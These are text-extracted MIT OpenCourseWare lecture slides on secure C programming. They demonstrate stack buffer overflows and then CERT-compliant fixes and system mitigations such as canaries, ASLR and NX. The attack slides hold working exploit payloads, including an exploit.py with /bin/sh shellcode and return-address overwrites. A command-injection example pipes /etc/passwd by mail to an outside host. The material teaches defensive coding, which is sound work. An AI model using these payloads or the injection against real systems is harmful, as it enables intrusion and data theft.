Secure Programming in C Lef Ioannidis MIT EECS Lef Ioannidis How to secure your stack for fun and profit MIT EECS 1 Introductions Me Junior at MIT, course 6.2. Interested in Computer Security, Operating Systems, Distributed Computing and System Administration. You Computer programmers with knowledge in C and Systems, can read assembly, interested in writing secure code. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 2 Vulnerability statistics over the years (NIST) Image is in the public domain. Courtesy of National Institute of Standards and Technology (NIST). Lef Ioannidis How to secure your stack for fun and profit MIT EECS 3 Lecture Roadmap What we will cover: Example attacks and exploits. C-specific prevention & mitigation. System-wide prevention & mitigation. Target: GNU/Linux systems. CC: GCC >= 4.4. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 4 Case study: the notorious buffer overflow A buffer overflow example. A B 0 0 0 0 0 0 0 0 0 3 “excessive” A A ‘e’ ‘x’ ‘c’ ‘e’ ‘s’ ‘s’ B ‘i’ ‘v’ ‘e’ 0 Image by MIT OpenCourseWare. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 5 Memory Management: Linux Courtesy of Gustavo Duarte. Used with permission. http://duartes.org/gustavo/blog/ Lef Ioannidis How to secure your stack for fun and profit MIT EECS 6 Vulnerable code 1 #i n c l u d e <s t r i n g . h > 2 3 #d e f i n e g o o d P a s s ”GOODPASS” 4 5 6 7 i n t main ( ) { c h a r p a s s I s G o o d =0 ; char buf [ 8 0 ] ; 8 p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ; gets ( buf ) ; 9 10 11 i f ( s t r c m p ( buf , g o o d P a s s )==0) p a s s I s G o o d =1 ; i f ( p a s s I s G o o d == 1 ) p r i n t f ( ”You win ! \ n” ) ; 12 13 14 15 16 } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 7 Our first exploit /bin/bash $ python -c " print ’x’*80 + ’\x01’ " | ./test1 Enter password: You win! $ courier Lef Ioannidis How to secure your stack for fun and profit MIT EECS 8 Our first exploit /bin/bash $ python -c " print ’x’*80 + ’\x01’ " | ./test1 Enter password: You win! $ courier Line 10: gets(buf); “Never use gets().” - GNU Man pages(3), gets() Lef Ioannidis How to secure your stack for fun and profit MIT EECS 9 Secure version of previous code 1 2 #i n c l u d e <s t r i n g . h > #i n c l u d e <s t d i o . h > 3 4 5 #d e f i n e g o o d P a s s ”GOODPASS” #d e f i n e STRSIZE 80 6 7 8 9 i n t main ( ) { c h a r p a s s I s G o o d =0 ; c h a r b u f [ STRSIZE+1] ; 10 p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ; f g e t s ( buf , STRSIZE , s t d i n ) ; 11 12 13 i f ( s t r n c m p ( buf , goodPass , STRSIZE)==0) p a s s I s G o o d =1 ; i f ( p a s s I s G o o d == 1 ) p r i n t f ( ”You win ! \ n” ) ; 14 15 16 17 18 } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 10 The stack: Linux 0xBFFFFDBC int y Function_B’s stack frame int x Saved EBP Saved EIP (points to a location in function_A) function_B argument 1 (int a) function_B argument 2 (int b) Function_A’s stack frame int c Saved EBP Saved EIP (points to a location in main) function_A argument 1 (int p) Main’s stack frame function_A argument 2 (int q) int ret Saved EBP Saved EIP (points to a location in_libc_start_main) int argc char**argv 0xBFFFFE00 char**envp _libc_start_main() stuff.. Stack base Image by MIT OpenCourseWare. Dowd, McDonald, Schuh-The art of software security assesment,fig: 5.3 Lef Ioannidis How to secure your stack for fun and profit MIT EECS 11 Stack frames: C How functions are pushed in the stack: 1 2 3 4 void function ( int a , int b , int c ) { char buffer1 [ 5 ] ; char buffer2 [ 1 0 ] ; } 5 6 7 8 v o i d main ( ) { function (1 ,2 ,3) ; } © Gordon Lyon. All rights reserved. This content is excluded from our Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/. Aleph One - Smashing the stack for fun and profit Lef Ioannidis How to secure your stack for fun and profit MIT EECS 12 Stack frames: x86 assembly 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function : pushl movl subl leave ret .size . g l o b l main .type main : pushl movl subl movl movl movl call leave ret %ebp %esp , %ebp $16 , %e s p f u n c t i o n , . −f u n c t i o n main , @ f u n c t i o n %ebp %esp , %ebp $12 , %e s p $3 , 8(% e s p ) $2 , 4(% e s p ) $1 , (% e s p ) function Lef Ioannidis How to secure your stack for fun and profit MIT EECS 13 Stack operations to call function 1 2 3 4 5 subl movl movl movl call $12 , %e s p $3 , 8(% e s p ) $2 , 4(% e s p ) $1 , (% e s p ) function 3× sizeof(int) = 12 bytes. Note: The arguments are in reverse order because the Linux stack grows down. Call will push the IP in the stack. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 14 Stack operations to call function 1 2 3 4 5 subl movl movl movl call $12 , %e s p $3 , 8(% e s p ) $2 , 4(% e s p ) $1 , (% e s p ) function 1 2 3 4 function : p u s h l %ebp movl %esp , %ebp s u b l $16 , %e s p Pushes the base pointer (EBP) in the stack, now it’s a saved frame pointer (SFP). Moves the stack pointer (ESP) in EBP, substituting the previous address. Subtracts space for the local variables from ESP. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 15 Smashing the stack Using buffer overflow to overwrite a return address. Stack frame pointer Pass big buffer Hand-crafted code Pointer to start of buffer buff SFP Parameter str Ret str Stack after attack Local variable buff Execute from here on function return! Function’s return address Images by MIT OpenCourseWare. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 16 Cool exercise: stack4.c 1 2 3 i n t main ( ) { int cookie ; char buf [ 8 0 ] ; 4 p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ; gets ( buf ) ; 5 6 7 i f ( c o o k i e == 0 x 000a0d00 ) p r i n t f ( ” you win ! \ n” ) ; 8 9 10 } © Gera at Core SECURITY TECHNOLOGIES Community. All rights reserved. This content is excluded from our Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/. "http://community.corest.com/~gera/InsecureProgramming/" Lef Ioannidis How to secure your stack for fun and profit MIT EECS 17 Cool exercise: stack4.c 1 2 3 i n t main ( ) { int cookie ; char buf [ 8 0 ] ; 4 p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ; gets ( buf ) ; 5 6 7 i f ( c o o k i e == 0 x 000a0d00 ) p r i n t f ( ” you win ! \ n” ) ; 8 9 10 } Still uses gets(), so it is vulnerable to buffer overflow. 0x000a0d00 == { NULL, new line, carriage return, NULL } Impossible to write 0x000a0d00 to cookie because all these bytes trigger gets() to stop reading characters. We need to redirect program flow to printf(“You win\n”); Lef Ioannidis How to secure your stack for fun and profit MIT EECS 18 Overwriting the EIP 1 2 3 i n t main ( ) { int cookie ; char buf [ 8 0 ] ; 4 p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ; gets ( buf ) ; 5 6 7 i f ( c o o k i e == 0 x 000a0d00 ) p r i n t f ( ” you win ! \ n” ) ; 8 9 10 } When a function is called it imediatelly pushes the EIP into the stack (SFP). After it is complete a ret instruction pops the stack and moves SFP back to EIP. Trick: Overwrite the SFP, while it’s in the stack. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 19 Exploiting stack#4.c /bin/bash $ gdb stack4 (gdb) r Starting program: stack4 buf: bffff58c cookie: bffff5dc aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () $ courier EIP is overwritten! 0x61616161 = “aaaa” Lef Ioannidis How to secure your stack for fun and profit MIT EECS 20 Now let’s disassemble main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0 x08048424 0 x08048425 0 x08048427 0 x0804842a 0 x0804842d 0 x08048431 0 x08048435 0 x08048439 0 x0804843d 0 x08048444 0 x08048449 0 x0804844d 0 x08048450 0 x08048455 0 x08048459 0 x0804845e 0 x08048460 0 x08048467 0 x0804846c 0 x0804846d <main+0>: push <main+1>: mov <main+3>: and <main+6>: s u b <main+9>: l e a <main +13>: mov <main +17>: l e a <main +21>: mov <main +25>: movl <main +32>: c a l l <main +37>: l e a <main +41>: mov <main +44>: c a l l <main +49>: mov <main +53>: cmp <main +58>: j n e <main +60>: movl <main +67>: c a l l <main +72>: l e a v e <main +73>: r e t Lef Ioannidis How to secure your stack for fun and profit %ebp %esp ,% ebp $ 0 x f f f f f f f 0 ,% e s p $0x70 ,% e s p 0 x 6 c(% e s p ) ,% e a x %eax , 0 x8(% e s p ) 0 x 1 c(% e s p ) ,% e a x %eax , 0 x4(% e s p ) $0x8048530 ,(% e s p ) 0 x8048350 < p r i n t f @ p l t > 0 x 1 c(% e s p ) ,% e a x %eax ,(% e s p ) 0 x8048330 <g e t s @ p l t > 0 x 6 c(% e s p ) ,% e a x $0xa0d00 ,% e a x 0 x 8 0 4 8 4 6 c <main+72> $0x8048548 ,(% e s p ) 0 x8048360 <p u t s @ p l t > MIT EECS 21 Registers /bin/gdb stack4 (gdb) b *0x0804846d (gdb) r Starting program: stack4 buf: bffff58c cookie: bffff5dc aaaaaaaaaaaaaaaa Breakpoint 1, 0x0804846d in main () at stack4.c:13 (gdb) info registers eax 0xb7fc8ff4 -1208184844 ecx 0xbffff58c -1073744500 edx 0xb7fca334 -1208179916 ebx 0xb7fc8ff4 -1208184844 esp 0xbffff5ec 0xbffff5ec ebp 0xbffff668 0xbffff668 esi 0x0 0 edi 0x0 0 eip 0x804846d 0x804846d <main+73> courier Lef Ioannidis How to secure your stack for fun and profit MIT EECS 22 We have everything we need buf: bffff58c esp: 0xbffff5ec 0xbffff5ec 1 2 3 4 0 x08048459 0 x0804845e 0 x08048460 0 x08048467 <main +53>: <main +58>: <main +60>: <main +67>: cmp jne movl call $0xa0d00 ,% e a x 0 x 8 0 4 8 4 6 c <main+72> $0x8048548 ,(% e s p ) 0 x8048360 <p u t s @ p l t > 0xbffff5ec − 0xbffff58c = 0x00000060 = 96 bytes we need to overflow. Jump to: 0x08048460 Linux → Reverse stack → \x60\x84\x04\x08 Lef Ioannidis How to secure your stack for fun and profit MIT EECS 23 Payload: Control Flow Redirection /bin/bash $ python -c ’’print ’a’ * 96 + ’\x60\x84\x04\x08’ ’’ | ./test1 buf: bffff58c cookie: bffff5dc you win! Segmentation fault $ courier Lef Ioannidis How to secure your stack for fun and profit MIT EECS 24 Payload: Getting shell exploit.py #!/usr/bin/env python shellcode = ’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\ x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\ xff\xff/bin/sh’ courier print shellcode + ’\x90’ * 51 + ’\x5c\xb3\x04\x08’ /bin/bash -> Got shell! $ python exploit.py | ./stack4 buf: bffff58c cookie: bffff5dc $ courier Lef Ioannidis How to secure your stack for fun and profit MIT EECS 25 Other Attacks - Off-by-one exploits Common programming mistake when computing array boundaries. In little endian architectures this can result in overwriting the least significant byte. Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 26 Other Attacks - Return-to-libc Similar in principal to a buffer overflow but instead of executing arbitrary shellcode you call functions from libc.so. Works when a noexec stack is enforced. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 27 Other Attacks - Heap Overflow Taking advantage of libc bugs to take over dynamicaly allocated memory, or even the memory allocator itself. Many 0-day exploits nowdays are heap overflows. He who controls the allocator, controls the system! - Anonymous Lef Ioannidis How to secure your stack for fun and profit MIT EECS 28 → More information The Phrack magazine. (http://www.phrack.org) The Defcon Conference. (http://www.defcon.org) LL CTF, MIT SEC seminars. Next: C-specific prevention & mitigation Lef Ioannidis How to secure your stack for fun and profit MIT EECS 29 Secure your code: CERT secure coding standards Logo for CERT Software Engineering Institute, Carnegie Mellon removed due to copyright restrictions. Standards for C, C++ and Java (some still under development). Managed string library. Real world examples of insecure code. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 30 Learning by the coutner-example of others Bad code examples will help you learn how to write secure code and prevent: Security Holes Undefined beheaviour Obscurity Errors Lef Ioannidis How to secure your stack for fun and profit MIT EECS 31 String null termination errors#1 1 2 3 i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) { char cmdline [4096] ; c m d l i n e [ 0 ] = ’ \0 ’ ; 4 f o r ( i n t i = 1 ; i < a r g c ; ++i ) { s t r c a t ( cmdline , argv [ i ] ) ; s t r c a t ( cmdline , ” ” ) ; } /∗ . . . ∗/ return 0 ; 5 6 7 8 9 10 11 } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 32 Compliant code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) { size t bufsize = 0; size t buflen = 0 ; c h a r ∗ c m d l i n e = NULL ; f o r ( i n t i = 1 ; i < a r g c ; ++i ) { const s i z e t len = s t r l e n ( argv [ i ] ) ; i f ( b u f s i z e − b u f l e n <= l e n ) { bufsize = ( bufsize + len ) ∗ 2 ; cmdline = r e a l l o c ( cmdline , b u f s i z e ) ; i f (NULL == c m d l i n e ) return 1 ; /∗ r e a l l o c f a i l u r e ∗/ } memcpy ( c m d l i n e + b u f l e n , a r g v [ i ] , l e n ) ; b u f l e n += l e n ; c m d l i n e [ b u f l e n ++] = ’ ’ ; } c m d l i n e [ b u f l e n ] = ’ \0 ’ ; /∗ . . . ∗/ f r e e ( cmdline ) ; return 0 ; } 21 Lef Ioannidis How to secure your stack for fun and profit MIT EECS 33 String null termination errors#2 1 c h a r b u f [ BUFSIZ ] ; 2 3 4 5 i f ( g e t s ( b u f ) == NULL) { /∗ H a n d l e E r r o r ∗/ } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 34 Compliant code 1 2 3 c h a r b u f [ BUFFERSIZE ] ; i n t ch ; c h a r ∗p ; 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 i f ( f g e t s ( buf , s i z e o f ( b u f ) , s t d i n ) ) { /∗ f g e t s s u c c e e d s , s c a n f o r n e w l i n e c h a r a c t e r ∗/ p = s t r c h r ( buf , ’ \n ’ ) ; i f (p) ∗ p = ’ \0 ’ ; else { /∗ n e w l i n e n o t found , f l u s h s t d i n t o end o f l i n e ∗/ w h i l e ( ( ( ch = g e t c h a r ( ) ) != ’ \n ’ ) && ! f e o f ( s t d i n ) && ! f e r r o r ( s t d i n ) ); } } else { /∗ f g e t s f a i l e d , h a n d l e e r r o r ∗/ } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 35 String null termination errors#3 1 2 3 4 char ∗ s t r i n g d a t a ; char a [ 1 6 ] ; /∗ . . . ∗/ strncpy (a , string data , Lef Ioannidis How to secure your stack for fun and profit s i z e o f (a )) ; MIT EECS 36 Compliant solution: 1 2 c h a r ∗ s t r i n g d a t a = NULL ; char a [ 1 6 ] ; 3 4 /∗ . . . ∗/ 5 6 7 8 9 10 11 12 13 14 i f ( s t r i n g d a t a == NULL) { /∗ H a n d l e n u l l p o i n t e r e r r o r ∗/ } e l s e i f ( s t r l e n ( s t r i n g d a t a ) >= s i z e o f ( a ) ) { /∗ H a n d l e o v e r l o n g s t r i n g e r r o r ∗/ } else { strcpy (a , string data ) ; } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 37 Passing strings to complex subsystems 1 2 s p r i n t f ( b u f f e r , ” / b i n / m a i l %s < /tmp/ e m a i l ” , a d d r ) ; system ( b u f f e r ) ; © O'Reilly Media. All rights reserved. This content is excluded from our Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/. Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Networking, Input Validation & More. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 38 Passing strings to complex subsystems 1 2 s p r i n t f ( b u f f e r , ” / b i n / m a i l %s < /tmp/ e m a i l ” , a d d r ) ; system ( b u f f e r ) ; What if: bogus@addr.com; cat /etc/passwd |mail somebadguy.net © O'Reilly Media. All rights reserved. This content is excluded from our Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/. Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Networking, Input Validation & More. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 39 Compliant solution: Whitelisting 1 2 3 4 5 6 7 8 9 10 11 s t a t i c char ok chars [ ] = ” abcdefghijklmnopqrstuvwxyz ” ”ABCDEFGHIJKLMNOPQRSTUVWXYZ” ” 1234567890 −.@ ” ; c h a r u s e r d a t a [ ] = ”Bad c h a r 1 : } Bad c h a r 2 : { ” ; c h a r ∗ cp = u s e r d a t a ; /∗ c u r s o r i n t o s t r i n g ∗/ c o n s t c h a r ∗ end = u s e r d a t a + s t r l e n ( u s e r d a t a ) ; f o r ( cp += s t r s p n ( cp , o k c h a r s ) ; cp != end ; cp += s t r s p n ( cp , o k c h a r s ) ) { ∗ cp = ’ ’ ; } Based on the tcp wrappers package written by Wietse Venema Lef Ioannidis How to secure your stack for fun and profit MIT EECS 40 Off-by-one errors Can you find all the off-by-one errors? 1 2 3 4 5 6 7 8 9 10 i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) { char source [ 1 0 ] ; s t r c p y ( s o u r c e , ” 0123456789 ” ) ; char ∗ d e s t = ( char ∗) malloc ( s t r l e n ( s o u r c e ) ) ; f o r ( i n t i =1 ; i <= 1 1 ; i ++) { dest [ i ] = source [ i ] ; } d e s t [ i ] = ’ \0 ’ ; p r i n t f ( ” d e s t = %s ” , d e s t ) ; } © Carnegie Mellon University. All rights reserved. This content is excluded from our Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/. Robert Seacord, CERT: Safer strings in C Lef Ioannidis How to secure your stack for fun and profit MIT EECS 41 Integer overflow errors#1: Addition 1 u n s i g n e d i n t u i 1 , u i 2 , usum ; 2 3 /∗ I n i t i a l i z e u i 1 and u i 2 ∗/ 4 5 usum = u i 1 + u i 2 ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 42 Compliant code 1 u n s i g n e d i n t u i 1 , u i 2 , usum ; 2 3 /∗ I n i t i a l i z e u i 1 and u i 2 ∗/ 4 5 6 7 8 9 10 i f (UINT MAX − u i 1 < u i 2 ) { /∗ h a n d l e e r r o r c o n d i t i o n ∗/ } else { usum = u i 1 + u i 2 ; } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 43 Integer overfloat errors#2: Subtraction 1 signed int si1 , si2 , result ; 2 3 /∗ I n i t i a l i z e s i 1 and s i 2 ∗/ 4 5 result = si1 − si2 ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 44 Compliant code 1 signed int si1 , si2 , result ; 2 3 /∗ I n i t i a l i z e s i 1 and s i 2 ∗/ 4 5 6 7 8 9 10 11 if ( ( s i 2 > 0 && s i 1 < INT MIN + s i 2 ) | | ( s i 2 < 0 && s i 1 > INT MAX + s i 2 ) ) { /∗ h a n d l e e r r o r c o n d i t i o n ∗/ } else { result = si1 − si2 ; } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 45 Integer overfloat errors#3: Multiplication 1 2 signed int si1 , si2 , result ; 3 4 /∗ . . . ∗/ 5 6 result = si1 ∗ si2 ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 46 Compliant code 1 signed int si1 , si2 , result ; 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 / ∗ I n i t i a l i z e s i 1 and s i 2 ∗/ static assert ( s i z e o f ( l o n g l o n g ) >= 2 ∗ s i z e o f ( i n t ) , ” Unable to d e t e c t o v e r f l o w a f t e r m u l t i p l i c a t i o n ” ); s i g n e d l o n g l o n g tmp = ( s i g n e d l o n g l o n g ) s i 1 ∗ ( signed long long ) s i 2 ; /∗ ∗ I f t h e p r o d u c t c a n n o t be r e p r e s e n t e d a s a 32− b i t i n t e g e r , ∗ h a n d l e a s an e r r o r c o n d i t i o n . ∗/ i f ( ( tmp > INT MAX ) | | ( tmp < INT MIN ) ) { /∗ h a n d l e e r r o r c o n d i t i o n ∗/ } else { r e s u l t = ( i n t ) tmp ; } Lef Ioannidis How to secure your stack for fun and profit MIT EECS 47 GCC Preprocessor: Inlines VS macros Non-compliant code 1 2 3 #d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) ) int i = 2; i n t a = 81 / CUBE(++ i ) ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 48 GCC Preprocessor: Inlines VS macros Non-compliant code 1 2 3 #d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) ) int i = 2; i n t a = 81 / CUBE(++ i ) ; Expands to: 1 i n t a = 81 / ((++ i ) ∗ (++ i ) ∗ (++ i ) ) ; // U n d e f i n e d ! Lef Ioannidis How to secure your stack for fun and profit MIT EECS 49 GCC Preprocessor: Inlines VS macros Non-compliant code 1 2 3 #d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) ) int i = 2; i n t a = 81 / CUBE(++ i ) ; Expands to: 1 i n t a = 81 / ((++ i ) ∗ (++ i ) ∗ (++ i ) ) ; // U n d e f i n e d ! Compliant code 1 2 3 4 5 i n l i n e i n t cube ( i n t i ) { return i ∗ i ∗ i ; } int i = 2; i n t a = 81 / c u b e(++ i ) ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 50 Pointer arithmetic: Never for different arrays 1 2 3 4 i n t nums [ SIZE ] ; c h a r ∗ s t r i n g s [ SIZE ] ; i n t ∗ n e x t n u m p t r = nums ; int free bytes ; 5 6 /∗ i n c r e m e n t n e x t n u m p t r a s a r r a y f i l l s ∗/ 7 8 f r e e b y t e s = s t r i n g s − ( char ∗∗) next num ptr ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 51 Compliant solution 1 2 3 4 i n t nums [ SIZE ] ; c h a r ∗ s t r i n g s [ SIZE ] ; i n t ∗ n e x t n u m p t r = nums ; int free bytes ; 5 6 /∗ i n c r e m e n t n e x t n u m p t r a s a r r a y f i l l s ∗/ 7 8 f r e e b y t e s = (&( nums [ SIZE ] ) − n e x t n u m p t r ) ∗ s i z e o f ( i n t ) ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 52 GCC Preprocessor: inlines VS macros Non-compliant code 1 2 #d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2∗ x ) #d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 ) 3 4 y = F ( x ) + G( x ) ; The variable operations is both read and modified twice in the same expression, so it can receive the wrong value. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 53 Compliant code 1 2 3 4 5 6 7 8 9 10 inline int f ( int x) { ++o p e r a t i o n s ; ++c a l l s t o f ; r e t u r n 2∗ x ; } inline int g( int x) { ++o p e r a t i o n s ; ++c a l l s t o g ; return x + 1 ; } 11 12 y = f (x) + g(x) ; Lef Ioannidis How to secure your stack for fun and profit MIT EECS 54 Advanced techniques for securing your code Using secure libraries: Managed string library, Microsoft secure string library, safeStr. They provide alternatives to insecure standard C functions. (ie: safeStr) safestr safestr safestr safestr safestr safestr safestr safestr Lef Ioannidis How to secure your stack for fun and profit append() nappend() compare() find() copy() length() sprintf() vsprintf() strcat() strncat() strcpy() strncpy() strcmp() strlen() sprintf() vsprintf() MIT EECS 55 → Advanced techniques for securing your code Canaries Terminator: NULL, CR, LF, -1. Weak because the canary is known. Random: Generating random bytes in the end of buffer during runtime. Random XOR: Random canaries XOR scrambled with all or parts of the control data. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 56 Protecting your System WˆX protection, the data section on the stack is flagged as not executable and the program memory as not writable. ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap. Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for WˆX. iOS5: CSE: Code Signing Enforcement. Signing each executable memory page and checking the CS VALID flag. Prevents changes in executable code during runtime. Lef Ioannidis How to secure your stack for fun and profit MIT EECS 57 Examples PaX on Linux OpenBSD kernel Hardened Gentoo grsecurity Microsoft Windows Server 2008 R2 Lef Ioannidis How to secure your stack for fun and profit MIT EECS 58 That’s all! Thank you. Questions? Lef Ioannidis How to secure your stack for fun and profit MIT EECS 59 MIT OpenCourseWare http://ocw.mit.edu 6.S096 Effective Programming in C and C++ IAP 2014 For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.